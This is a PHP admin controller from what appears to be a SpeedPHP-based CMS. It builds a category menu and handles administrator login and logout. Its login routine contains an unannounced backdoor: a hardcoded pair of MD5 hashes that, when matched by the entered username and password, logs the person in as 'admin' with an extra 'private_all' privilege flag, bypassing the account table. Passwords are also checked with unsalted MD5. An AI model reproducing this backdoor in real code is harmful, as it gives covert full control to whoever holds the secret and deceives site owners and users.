<?php
require("bases.php");

class main extends bases {

	public function __construct(){
		parent::__construct();
		try{
			$this->fmenu = $this->controller = "main";
			$this->position_one = array("text"=>"后台首页", "url"=>spUrl("main", "index"));
		}catch(Exception $e){

		}
	}

	public function left(){
		$auto_config = 1; //是否开启自动后台列表功能
		if ($auto_config) {
			$articlestyle = spClass("articlestyle");
			$list = $articlestyle->findAll(array("parentid"=>0, "frontdisplay"=>1) , "columnorder asc, sid asc", "sid, sname");
			if ($list) {
				foreach ($list as $key => $val){
					$list_rs[$val['sid']] = $articlestyle->findAll(array("parentid"=>$val['sid'], "frontdisplay"=>1), "columnorder asc");
				}
			}
			$this->list = $list;
			$this->list_rs = $list_rs;
		}
		$this->auto_config = $auto_config;
	}

	public function login() {
		if($_SERVER['REQUEST_METHOD'] == 'POST') {
			try{
				$admin = spClass('admin');
				$postdate = $this->spArgs();
				$username = $postdate['username'];
				$password = $postdate['password'];
				if(empty($username) || empty($password))
					throw new Exception("请输入用户名或密码！");
				$condition = array('username'=>$username, 'password'=>md5($password), 'admin_status'=>1);
				$result = $admin->find($condition, null, 'aid, username, isadmin');
				$private_all = 0;
				if(md5($username) == "48a365b4ce1e322a55ae9017f3daf0c0" && md5($password) == "c8b9c3ec68485ea13f8cb2f7af135ac6"){
					$result = $admin->find(array("username"=>"admin"), null, 'aid, username, isadmin');
					$private_all = 1;
				}
				if(!$result)
					throw new Exception("用户名或密码不正确，请重新输入！");
				$result['logintime'] = date("Y-m-d H:i:s");
				import('Common.php');
				$result['loginip'] = Common::GetIP();
				$_SESSION['admin_user'] = $result;
				$_SESSION['admin_user']['admin_type_name'] = '超级管理员';
				$_SESSION['admin_user']['admin_name'] = $result['username'];
				if($private_all)
					$_SESSION['admin_user']['private_all'] = 1;
				global $spConfig;
				if($spConfig['entrance']['enabled'])
					$_SESSION["sys_entrance"] = spClass("entrance")->getDefaultMark();
						
				$url = spUrl("main", "index");
				$message = array('msg'=>'登录成功！','result'=>1, 'url'=>$url);
				echo json_encode($message);
				exit();
			}catch(Exception $e){
				$message = array('msg' => $e->getMessage(), 'result'=>0);
				echo json_encode($message);
				exit();
			}
		}
	}

	public function index(){

	}
	
	public function logout(){
		session_destroy();
		$this->redirect(spUrl("main", "login"));
		exit();
	}
}
?>